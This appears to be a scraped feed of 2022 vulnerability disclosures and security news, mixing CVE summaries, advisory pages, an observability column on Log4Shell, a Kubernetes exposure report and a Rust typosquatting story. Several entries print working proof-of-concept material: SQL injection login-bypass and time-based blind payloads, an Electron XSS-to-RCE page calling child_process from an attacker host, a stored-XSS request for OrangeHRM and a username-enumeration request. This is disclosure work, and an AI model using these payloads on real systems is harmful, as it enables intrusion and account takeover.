Foxit PDF Editor v11.3.1 was discovered to contain an arbitrary file upload vulnerability.

CVE-2022-28104: Security Bulletins | Foxit Software

Simple Student Quarterly Result/Grade System v1.0 was discovered to contain a SQL injection vulnerability via /sqgs/Actions.php.

    # Exploit Title: Simple Student Quarterly Result/Grade System 1.0 - SQLi Authentication Bypass
    # Date: 11/02/2022
    # Exploit Author: Saud Alenazi
    # Vendor Homepage: https://www.sourcecodester.com/
    # Software Link: https://www.sourcecodester.com/php/15169/simple-student-quarterly-resultgrade-system-php-and-mysql-free-source-code.html
    # Version: 1.0
    # Tested on: XAMPP, Linux 
    
    
    
    
    # Vulnerable Code
    
    line 57 in file "/sqgs/Actions.php"
    
    @$check= $this->db->query("SELECT count(admin_id) as `count` FROM admin_list where `username` = '{$username}' ".($id > 0 ? " and admin_id != '{$id}' " : ""))->fetch_array()['count'];
    
    
    Steps To Reproduce:
    * - Go to the login page http://localhost/sqgs/login.php
    
    Payload:
    
    username: admin ' or '1'='1'#--
    password: \
    
    
    
    Proof of Concept :
    
    POST /sqgs/Actions.php?a=login HTTP/1.1
    Host: localhost
    User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
    Accept: application/json, text/javascript, */*; q=0.01
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    X-Requested-With: XMLHttpRequest
    Content-Length: 51
    Origin: http://localhost
    Connection: close
    Referer: http://localhost/sqgs/login.php
    Cookie: PHPSESSID=v9a2mv23kc0gcj43kf6jeudk2v
    
    username=admin+'+or+'1'%3D'1'%23--&password=0xsaudi

CVE-2022-26633: Offensive Security’s Exploit Database Archive

Daniel Kaar, global director application security engineering at Dynatrace, highlights the newfound respect for AppSec-enabled observability in the wake of Log4Shell.

Daniel Kaar, global director application security engineering at Dynatrace, highlights the newfound respect for AppSec-enabled observability in the wake of Log4Shell. 

Infosec Insiders columnist Daniel Kaar, global director application security engineering at Dynatrace.

When it’s all said and done, application security pros may come to look upon the Log4Shell vulnerability as a gift.  

Potentially one of the most devastating software flaws ever found, Log4Shell has justified scrutiny of modern security methods. It also turns out too many people continue to think about security strictly in terms of fortifying network perimeters.

But in the still burgeoning age of cloud computing, Log4Shell also exposed the significant gap that exists between application security and observability. It’s still not widely known that observability makes systems safer.

Nearly six months after the emergency of Log4Shell, the large number of companies still suffering the effects is proof. It comes down to this: Insufficient vulnerability management and a lack of visibility has hobbled efforts to identify and patch third-party software and development environments.

As a result, millions of apps remain at risk. Analysts predict that Log4Shell fallout will linger for years.

Protection means securing complex, distributed and high-velocity cloud architectures. Achieving this requires companies to adopt a modern development stack, one that arms security managers with greater observability and superior vulnerability management.

****Traditional Application Security Tools Leave Too Many Questions** **

Analysts and journalists have described Log4Shell — the software vulnerability in Apache Log4j 2 discovered in November 2021 — as potentially one of the most devastating vulnerabilities ever found. Some security experts said the software flaw “bordered on the apocalyptic.”

Lest we forget: The security industry isn’t in trouble because of any single vulnerability. That became clear in March, with the emergence of Spring4Shell, a critical vulnerability targeting Java’s popular Spring open-source framework.

Companies struggle to identify vulnerabilities because traditional detection methods are too plodding, inefficient, and leave too many unanswered questions.   In the past, security teams performed a static analysis known as software composition analysis (SCA) on code libraries to determine whether a vulnerability had affected their systems.

An SCA relies on scanning tools and manual procedures. Though they’re often effective, these methods are designed to identify vulnerabilities early in the development lifecycle — not uncovering vulnerabilities in code already in production.

In addition, SCA tools are also known to produce numerous false positives; they don’t provide vital detail, such as the potential impact of the vulnerability occurrences or whether the threatened repository is in production or in a pre-production environment.

They also don’t provide much insight into which areas are most at risk or should be prioritized.

****Application Security-enabled Observability in Hours, Not Months****

The good news is that when Log4Shell struck, some security managers were prepared. Some, including Jeroen Veldhorst, chief technology officer at Avisi, a Netherlands-based software development and cloud service company, had adopted a modern cloud observability platform.

According to Veldhorst, the application security and observability solution deployed by Avisi automatically identified and provided an overview of Log4Shell-vulnerable systems in Avisi’s production environment, Veldhorst said. The tool performed another automated and important task: providing the Avisi team with a list of systems to remediate first.

In the past, following the discovery of a new vulnerability, Veldhorst’s team would spend precious time patching low-priority occurrences. They were essentially guessing. Occasionally, the affected library his team labored on wasn’t even in production.

“Since \[the tool\] scans our platform continuously, it could tell us if there was a vulnerability \[in production\],” Veldhorst said.

Avisi’s observability and application security tool enabled the security team to accelerate the response to Log4Shell. Instead of spending days, weeks, or even months trying to resolve the issue via traditional methods, Avisi managed to resolve Log4Shell instances on all its systems within hours.

Combining observability and application security capabilities enables companies to reduce time spent resolving the last attack and more time preparing to thwart the next one.

For companies wishing to obtain an effective and mature observability platform, they must ensure that any upgrade comes with three integral components:

**Vulnerability Detection and Mitigation**

*   Application security platforms should automatically provide a prioritized list of potentially affected systems, the degree of exposure, and provide the ability for teams to perform direct remediation. Also, an application security remediation tracking screen for each vulnerability helps security teams spot and highlight whether each affected process still has a vulnerability loaded. Once each instance is resolved, observability-enabled application security tools automatically close the vulnerability report and then reopens it if a new instance of the problem is detected.

****Incident Detection and Response****

*   Application security and observability capabilities can be used to set up Log4Shell-specific attack monitoring and incident detection. This quickly identifies Log4Shell log patterns, and with the help of platform log analytics and alerting capabilities, teams can configure alerting mechanisms for attacks on their environments. Metrics and alerting systems also enable visibility into underlying code to quickly set up a dedicated alerting mechanism for any potential successful attacks on this critical vulnerability.

****Coordination and Communication****

*   The chief information security officer, the security team, engineering teams, and customer support teams can use application security and observability platforms to set up multiple daily status updates until all systems have been patched against a major vulnerability. This enables swift coordination against and mitigation of potential risks to environments and clear communication to customers.

Although only a small number of vendors can supply the entire list, these tools and the added security they provide mean they’re worth finding.

Through the continuous surveillance of an organization’s production environments, the appropriate AppSec tools can enable security teams to detect vulnerabilities such as Log4Shell and Spring4Shell in real-time and implement immediate remediation at scale.

Closing the Gap Between Application Security and Observability

OPC UA Legacy Java Stack 2022-04-01 allows a remote attacker to cause a server to stop processing messages by sending crafted messages that exhaust available resources.

**OPC Foundation UA JAVA Legacy**

**This repository is provided by OPC Foundation as legacy support for an Java version for OPC UA. It will not receive further features and updates.**

The OPC Foundation will continue maintenance of the .NET Stack which is based on .NET Standard. It can be found here.

The OPC Foundation has formally released the Unified Architecture Java Stack and Sample Code to the community.

Please review official site page (http://opcfoundation.github.io/UA-Java-Legacy/) for:

*   Overview
*   Licensing
*   Sample Applications overview

**Recommended Development Environment**

Note these are recommended, earlier versions might work.

*   Eclipse 4.5.2 (Mars)
*   Maven 3.3.3 (included in Eclipse 4.5.2)
*   JDK 8
*   JDK 6, in case you want to be sure that the built jar is java 6 compatible

The JDK(s) must have the sunjce\_provider, e.g. use Oracle or OpenJDK (because the stack has optional support for the sun jce crypto provider)

**Runtime Dependencies**

The Stack requires Java SE 6 or later to run (for building requirements, see under 'Building the Stack').

See pom.xml for details about dependency jar versions.

The following dependencies are mandatory

*   org.slf4j, SLF4J logging facade

Additionally the following dependencies are optional

*   org.bouncycastle, Bouncy Castle, for using bouncy castle crypto provider (see 'Security' section)
*   com.madgag.spongycastle, Spongy Castle, for using spongycastle crypto provider (used in android, See 'Security' section)
*   org.apache.httpcomponents, HTTPS support libs, for https transport protocol support

Library licenses are in the license-directory. All Apache libraries use the Apache License 2.0. Bouncy Castle and Spongy Castle use the Bouncy Castle License.

**Building the Stack**

As of 1.03 the project is a maven project.

Note that the built jar will be only compatible for the java version it is built with (see the section 'Building Java 6 compatible release' for more information).

**Compiling**

*   Import the project in your favorite IDE
*   e.g. in Eclipse Import->Existing Maven
*   Execute the 'package' phase.

Alternatively assuming you have Maven installed and in PATH, you can build from the command line:

The resulting artifacts are in the 'target' folder

*   opc-ua-stack-XXX.jar, the main jar
*   opc-ua-stack-XXX-javadoc.jar, javadoc documentation
*   opc-ua-stack-XXX-sources.jar, sources
*   opc-ua-stack-XXX-project.zip, zip of this project (without build artifacts)
*   opc-ua-stack-XXX-dependencies.zip, zip of the project dependencies

**Building Java 6 compatible release**

If you want to be sure the built jar is Java 6 compatible, you need to install a Java 6 JDK. In addition, because newest maven versions require at least Java 7, you need to also install it (or later) too.

The reason for requiring a version 6 of the JDK is that, while some newer versions of JDK have support for compiling to older versios of Java it is not enough to just define the source and the target arguments to 1.6. In addition a bootstrapclasspath argument needs to be defined (and pointed to a Java 6 installation) in order to use correct versions of the standard java libraries. Another option is using the older JDK version to compile by using maven-toolchains-plugin, which this project uses. It should also make this more future proof in case future JDK versions drop support for target 1.6, with JDK 9 being the last to support it (see https://bugs.openjdk.java.net/browse/JDK-8028563)

You need to activate profile 'jdk6' to use the toolchains plugin.

Maven needs to know where your JDK 6 installation is. To setup this create a file 'toolchains.xml' in your .m2 folder (which exists in your home folder) with the following contents:

<toolchains\>
  <toolchain\>
	<type\>jdk</type\>
	<provides\>
	  <version\>1.6</version\>
	  <vendor\>sun</vendor\>
	</provides\>
	<configuration\>
	  <jdkHome\>ABSOLUTE PATH TO JAVA 6 JDK HOME</jdkHome\>
	</configuration\>
  </toolchain\>
</toolchains\>

If you have no need to have a Java 6 supported build artifact, then you can run the build with the jdk6 profile disabled.

**Examples**

The 'examples' folder has a separate maven project that contains the samples, it has a dependency to the main stack project. See the examples/README.md for more information.

**Notes for developers**

The stack codegen is provided under the 'codegen' folder. See codegen/README.md for more information

**Package file structure description**

See generated javadoc after building, or package-info.java files in each package

**Mappings between Java and OPC UA types**

See the javadoc for package org.opcfoudnation.ua.builtintypes

**Security**

Security libraries are used as they are available. If no extra libraries are available, the Sun JCE implementation will be used. Testing has so far based on the Bouncy Castle library and it is therefore recommended in normal applications.

The current implementation, since version 1.02.337.0, is based on a flexible CryptoProvider model. There are several implementations of this interface available in the stack and you can also implement your own, if you have a custom security framework that you need to use.

The stack will pick a default CryptoProvider automatically as it finds them from the class path. Alternatively, you can define the provider that you wish to use by setting it with CryptoUtil.setCryptoProvider() or with CryptoUtil.setSecurityPoviderName().

In the same manner, custom certificate framework can be used by implementing interface CertificateProvider and setting it with CertificateUtils.setCertificateProvider().

Current CryptoProvider implementations:

BcCryptoProvider (default, if Bouncy Castle is in the class path: uses Bouncy Castle directly) ScCryptoProvider (default in Android, if Spongy Castle is in the class path) SunJceCryptoProvider (default if Bouncy Castle or Spongy Castle are not available) BcJceCryptoProvider (uses Bouncy Castle via the JCE crypto framework) ScJceCryptoProvider (uses Spongy Castle via the JCE crypto framework)

If any of the ...JceCryptoProvider is used, you will have to install the JCE Unlimited Strength Jurisdiction Policy Files, from Oracle (for Java 6, 7 or 8, respectively), to enable support for 256 bit security policies:

JRE6: http://www.oracle.com/technetwork/java/javase/downloads/jce-6-download-429243.html JRE7: http://www.oracle.com/technetwork/java/javase/downloads/jce-7-download-432124.html JRE8: http://www.oracle.com/technetwork/java/javase/downloads/jce8-download-2133166.html

Android includes a limited version of Bouncy Castle and the standard Bouncy Castle cannot be installed there. It also does not include the Sun classes. However, the Spongy Castle libraries will provide the same functionality as Bouncy Castle in Android, so these libraries should be used in Android, unless the application can do without security altogether.

Current CertificateProvider implementations:

BcCertificateProvider (default, if Bouncy Castle is in the class path) ScCertificateProvider (default in Android, if Spongy Castle is in the class path) SunJceCertificateProvider (default if Bouncy Castle or Spongy Castle are not available)

**Known issues**

*   TLS 1.2 policy required by OPC UA does not work (required ciphers not supported by JSSE)
*   HTTPS testing is not finished yet with the other stacks
*   .NET Client requires that the server has a certificate signed by a trusted CA, if HTTPS is used. See 'examples/README.md'.

CVE-2022-30551: GitHub - OPCFoundation/UA-Java-Legacy: This repository is provided by OPC Foundation as legacy support for an Java version for OPC UA.

Thinfinity VNC v4.0.0.1 contains a Cross-Origin Resource Sharing (CORS) vulnerability which can allow an unprivileged remote attacker, if they can trick a user into browse malicious site, to obtain an 'ID' that can be used to send websocket requests and achieve RCE.

**Summary**

**Name**

Proton v0.2.0 - XSS To RCE

**Code name**

Lennon

**Product**

Proton Markdown

**Affected versions**

Version 0.2.0

**State**

Public

**Release date**

2022-05-17

**Vulnerability**

**Kind**

XSS to RCE

**Rule**

010\. Stored cross-site scripting (XSS)

**Remote**

No

**CVSSv3 Vector**

CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:N

**CVSSv3 Base Score**

7.1

**Exploit available**

No

**CVE ID(s)**

CVE-2022-25224

**Description**

Proton **v0.2.1** allows an attacker to create a malicious link inside a markdown file. When the victim clicks the link, the application opens the site in the current frame allowing an attacker to host JavaScript code in the malicious link in order to trigger an XSS attack. The nodeIntegration configuration is set to **on** which allows the webpage to use NodeJs features, an attacker can leverage this to run OS commands.

**Proof of Concept****Steps to reproduce**

1.  Create a markdown file with the following content.
    
        [Click me!!!](http://192.168.1.67:8002/rce.html)
        
    
2.  Host the rce.html file with the following content on a server controlled by the attacker.
    
         <script>
             require('child_process').exec('calc');
         </script>
        
    
3.  Send the markdown file to the victim. When the victim clicks the markdown link the site will be open inside electron and the JavaScript code will spawn a calculator.
    

**System Information**

*   Version: Proton v0.2.1.
*   Operating System: Windows 10.0.19042 N/A Build 19042.
*   Installer: Proton.Setup.0.2.0.exe

**Exploit**

There is no exploit for the vulnerability but can be manually exploited.

**Mitigation**

By 2022-05-17 there is not a patch resolving the issue.

**Credits**

The vulnerability was discovered by Oscar Uribe from the Offensive Team of Fluid Attacks.

**References**

**Vendor page** https://github.com/steventhanna/proton/

**Timeline**

2022-04-29

Vulnerability discovered.

2022-04-29

Vendor contacted.

2022-05-17

Public Disclosure.

CVE-2022-25227: Proton v0.2.0 - XSS To RCE | Fluid Attacks

More than 380,000 of the 450,000-plus servers hosting the open-source container-orchestration engine for managing cloud deployments allow some form of access.

More than 380,000 of the 450,000-plus servers hosting the open-source container-orchestration engine for managing cloud deployments allow some form of access.

More than 380,000 Kubernetes API servers allow some kind of access to the public internet, making the popular open-source container-orchestration engine for managing cloud deployments an easy target and broad attack surface for threat actors, researchers have found.

The Shadowserver Foundation discovered the access when it scanned the internet for Kubernetes API servers, of which there are more than 450,000, according to a blog post published this week.

“ShadowServer is conducting daily scans of the IPv4 space on ports 443 and 6443, looking for IP addresses that respond with an ‘HTTP 200 OK status,’ which indicates that the request has succeeded,” according to the post.

Of the more than 450,000 Kubernetes API instances identified by Shadowserver, 381,645 responded with “200 OK,” researchers said. In all, Shadowserver found 454,729 Kubernetes API servers. The “open” API instances thus constitute nearly 84 percent of all instances that that Shadowserver scanned.

Moreover, most of the accessible Kubernetes servers—201,348, or nearly 53 percent–were found in the United States, according to the post.

While this response to the scan does not mean these servers are fully open or vulnerable to attacks, it does create a scenario in which the servers have an “unnecessarily exposed attack surface,” according to the post.

“This level of access was likely not intended,” researchers observed. The exposure also allows for information leakage on version and builds, they added.

****Cloud Under Attack****

The findings are troubling given that attackers already increasingly have been targeting Kubernetes cloud clusters as well as using them to launch other attacks against cloud services. Indeed, the cloud historically has suffered from rampant misconfiguration that continues to plague deployments, with Kubernetes being no exception.

In fact, Erfan Shadabi, cybersecurity expert with data-security firm comforte AG, said in an email to Threatpost that he was not surprised that the Shadowserver scan turned up so many Kubernetes servers exposed to the public internet.

“White \[Kubernetes\] provides massive benefits to enterprises for agile app delivery, there are a few characteristics that make it an ideal attack target for exploitation,” he said. “For instance, as a result of having many containers, Kubernetes has a large attack surface that could be exploited if not pre-emptively secured.”

****Open-Source Security Exposed****

The findings also raise the perennial issue of how to build security into open-source systems that become ubiquitous as part of modern internet and cloud-based infrastructure, making an attack on them an attack on the myriad systems to which they are connected.

This issue was highlighted all-too-unfortunately in the case of the Log4Shell vulnerability in the ubiquitous Java logging library Apache Log4j that was discovered last December.

The flaw, which is easily exploitable and can allow unauthenticated remote code execution (RCE) and complete server takeover–continues to be targeted by attackers. In fact,  a recent report finding millions of Java applications still vulnerable despite a patch being available for Log4Shell.

An Achilles heel in particular of Kubernetes is that the data-security capabilities built into the platform are only at a “bare minimum”–protecting data at rest and data in motion, Shadabi said. In a cloud environment, this is a dangerous prospect.

“There’s no persistent protection of data itself, for example using industry accepted techniques like field-level tokenization,” he observed. “So if an ecosystem is compromised, it’s only a matter of time before the sensitive data being processed by it succumbs to a more insidious attack.”

Shadabi’s advice to organizations that use containers and Kubernetes in their production environments is to take securing Kubernetes as seriously as they do all aspects of their IT infrastructure, he said.

For its part, Shadowserver recommended that if administrators find that a Kubernetes instance in their environment is accessible to the internet, they should consider implementing authorization for access or block at the firewall level to reduce the exposed attack surface.

380K Kubernetes API Servers Exposed to Public Internet

A case of software supply chain attack has been observed in the Rust programming language's crate registry that leveraged typosquatting techniques to publish a rogue library containing malware.
Cybersecurity firm SentinelOne dubbed the attack "CrateDepression."
Typosquatting attacks take place when an adversary mimics the name of a popular package on a public registry in hopes that developers

A case of software supply chain attack has been observed in the Rust programming language's crate registry that leveraged typosquatting techniques to publish a rogue library containing malware.

Cybersecurity firm SentinelOne dubbed the attack "CrateDepression."

Typosquatting attacks take place when an adversary mimics the name of a popular package on a public registry in hopes that developers will accidentally download the malicious package instead of the legitimate library.

In this case, the crate in question is "rustdecimal," a typosquat of the real "rust\_decimal" package that's been downloaded over 3.5 million times to date. The package was flagged earlier this month on May 3 by Askar Safin, a Moscow-based developer.

According to an advisory published by the Rust maintainers, the crate is said to have been first pushed on March 25, 2022, attracting fewer than 500 downloads before it was permanently removed from the repository.

Like prior typosquatting attacks of this kind, the misspelled library replicates the entire functionality of the original library while also introducing a malicious function that's designed to retrieve a Golang binary hosted on a remote URL.

Specifically, the new function checks if the "GITLAB\_CI" environment variable is set, suggesting a "singular interest in GitLab continuous integration (CI) pipelines," SentinelOne noted.

The payload, which is equipped to capture screenshots, log keystrokes, and download arbitrary files, is capable of running on both Linux and macOS, but not Windows systems. The ultimate goals of the campaign are unknown as yet.

While typosquatting attacks have been previously documented against NPM (JavaScript), PyPi (Python), and RubyGems (Ruby), the development marks an uncommon instance where such an incident has been discovered in the Rust ecosystem.

"Software supply-chain attacks have gone from a rare occurrence to a highly desirable approach for attackers to 'fish with dynamite' in an attempt to infect entire user populations at once," SentinelOne researchers said.

"In the case of CrateDepression, the targeting interest in cloud software build environments suggests that the attackers could attempt to leverage these infections for larger scale supply-chain attacks."

Found this article interesting? Follow THN on Facebook, Twitter __ and LinkedIn to read more exclusive content we post.

Researchers Uncover Rust Supply-Chain Attack Targeting Cloud CI Pipelines

ManageEngine ADSelfService Plus v6.1 allows attackers to perform username enumeration via a crafted POST request to /ServletAPI/accounts/login.

Permalink

**Zoho ManageEngine ADSelfService Plus 6121 Username Enumeration**

*   Version: 6.1 Build 6121
*   Tested against: ADSelfService 6118 - 6121

The domain username (sAMAccountName) enumeration can be conducted through the app. The domain users which are enrolled to the AdSelfService can be enumerated according to response of the application.

Sending following POST request vulnerability is exploited:

    PoC HTTP Request:
    
    POST /ServletAPI/accounts/login HTTP/1.1
    Host: target
    User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
    Accept: application/json, text/javascript, /; q=0.01
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    X-Requested-With: XMLHttpRequest
    Content-Length: 23
    DNT: 1
    Connection: close
    Sec-GPC: 1
    
    loginName=USERNAME
    

The Administrator, krbtgt, Guest are default accounts in the Active Directory. The krbtgt and guest accounts are disabled defaultly.

*   If the user is not exist , the response is "eSTATUS":"Permission Denied. Kindly contact your Administrator."
*   If the user is exist , the response is ""LOGIN\_STATUS":"PASSWORD","WELCOME\_NAME":"{Username}"
*   If the user is disabled for example Guest or krbtgt user, the response is "eSTATUS":"Your account has been disabled. Please see your system administrator."
*   If the user is expired, the response is "eSTATUS":"Your account has expired. Please see your system administrator."

CVE-2022-28987: vulnerability-research/adselfservice-userenum.md at main · passtheticket/vulnerability-research

A stored cross-site scripting (XSS) vulnerability in the addNewPost component of OrangeHRM v4.10.1 allows attackers to execute arbitrary web scripts or HTML via a crafted POST request.

**Environment details**  
OrangeHRM version: 4.10.1  
OrangeHRM source: Release build from Sourceforge or Git clone  
Platform: Ubuntu  
PHP version: 7.3.33  
Database and version: MariaDB 10.3  
Web server: Apache 2.4.52

If applicable:  
Browser: Firefox

**Describe the bug**  
Insufficient input validation in Buzz - addNewPost API results in Stored Cross Site Scripting attack. An attacker - who is an authenticated user - can craft a malicious request causing malicious Javascript to execute in the browser of any other user. The malicious Javascript can trigger when a victim user visits the Buzz page.

**To Reproduce**

1.  Authenticate to the user dashboard.
2.  Visit 'Buzz' page
3.  Collect the CSRF token from the HTML response. It can be found in an 'input' field with the id createPost__csrf_token. Example :

    <input type="hidden" name="createPost[_csrf_token]" value="8d7f3ee80979a1360fb445a6ffa1ffec" id="createPost__csrf_token">
    

4.  Collect the logged in user cookie _orangehrm
5.  Fire the following POST request including the CSRF token and cookie obtained. Replace the Host header too :

    POST /symfony/web/index.php/buzz/addNewPost HTTP/1.1
    Host: 1.2.3.44
    Accept: */*
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    X-Requested-With: XMLHttpRequest
    Content-Length: 173
    Origin: http://54.165.4.147
    Connection: close
    Cookie: Loggedin=True; _orangehrm=qod7ejr1fqjtvtnm27i62ltcrb
    
    createPost%5Bcontent%5D=content&createPost%5BlinkAddress%5D=javascript:alert(1221)&createPost%5BlinkTitle%5D=xss&createPost%5BlinkText%5D=&createPost%5B_csrf_token%5D=cb38d12166e154ded1869000c43c1ea5
    

6.  Click on the link 'xss' in the most recent post.

**Expected behavior**  
The value of parameters createPost[linkTitle] and createPost[linkAddress] should be validated by API and an error should be thrown.

**What do you see instead:**  
The malicious payload gets submitted successfully and get's stored in the posting made by the user.

**Screenshots**

  

**Technical Details**  
A logged in user can post status updates to their buzz feed. From the front-end application a user will be able to post a text within a single field which says "What's on your mind" to the buzz feed. This happens via a POST request to the URL /symfony/web/index.php/buzz/addNewPost through the createPost[content] request body parameter. While investigating this API, we found that there are extra parameter fields in the body of this API which is not directly exposed through the frontend application.

The following request body parameters found in the API results certain profound effects in the HTML response sent by server:

1.  createPost[linkAddress]
    
    Causes the addition of an <a> anchor tag in response with id linkTitle & with attribute src with the value set for createPost[linkAddress] parameter.
    
2.  createPost[linkTitle]
    
    Causes an <a> anchor tag in response with id linkTitle which is click able and displayed with the text content sent in the above request parameter.
    

Combining the above 2 parameters, it's possible to get an anchor HTML tag with a visible clickable text and a desired URL as src which is clickable.

The URL payload could be javascript as javascript:alert(121). This can result in execution of arbitrary malicious javascript code on the client side if the victim clicks on this link.  
The impact of this can be severe since this particular code gets stored in the database and gets delivered to the feed of every logged-in user in orangeHRM. Every user will have this delivered through their 'Buzz' feed.

In terms of impact, this vulnerability enables an attacker to stealing CSRF token and perform arbitrary actions on the website on behalf of the victim user.

CVE-2022-28985: Stored XSS in "Update Status" section under "OrangeBuzz" via the GET/POST parameters `createPost[linkTitle]` and `createPost[linkAddress]` · Issue #1217 · orangehrm/orangehrm

Online Sports Complex Booking System 1.0 is vulnerable to SQL Injection via /scbs/classes/Users.php?f=delete_client.

    #### Title: Online Sports Complex Booking System 1.0 SQL Injection#### Author: Zllggggg#### Vendor: https://www.sourcecodester.com/php/15236/online-sports-complex-booking-system-phpmysql-free-source-code.html#### Software: https://www.sourcecodester.com/sites/default/files/download/oretnom23/scbs_1.zip####  Reference: https://github.com/playZG/Exploit-/blob/main/Online%20Sports%20Complex%20Booking%20System/Online%20Sports%20Complex%20Booking%20System%201.0%20SQL%20Injection(%E4%BA%8C).md#### Tested on: Windows, MySQL, ApacheAfter entering the background, click the registered clients navigation, select a piece of data and click delete[image: 1648884355.jpg]Find the corresponding source code and find that the ID parameter passed bypost does not have any filtering[image: 1648884613.jpg]The vulnerability is also verified in sqlmap [image: 1648884408.jpg]Data packet```POST /scbs/classes/Users.php?f=delete_client HTTP/1.1Host: localhostUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0)Gecko/20100101 Firefox/98.0Accept: application/json, text/javascript, */*; q=0.01Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencoded; charset=UTF-8X-Requested-With: XMLHttpRequestContent-Length: 4Origin: http://localhostConnection: closeReferer: http://localhost/scbs/admin/?page=clientsCookie: PHPSESSID=trkbdt4th4hlsp7bpriuih1816Sec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: same-originid=2```Payload```Parameter: id (POST)    Type: time-based blind    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)    Payload: id=1' AND (SELECT 4836 FROM (SELECT(SLEEP(5)))QbFZ) AND'aPSM'='aPSM---```

Tag

#java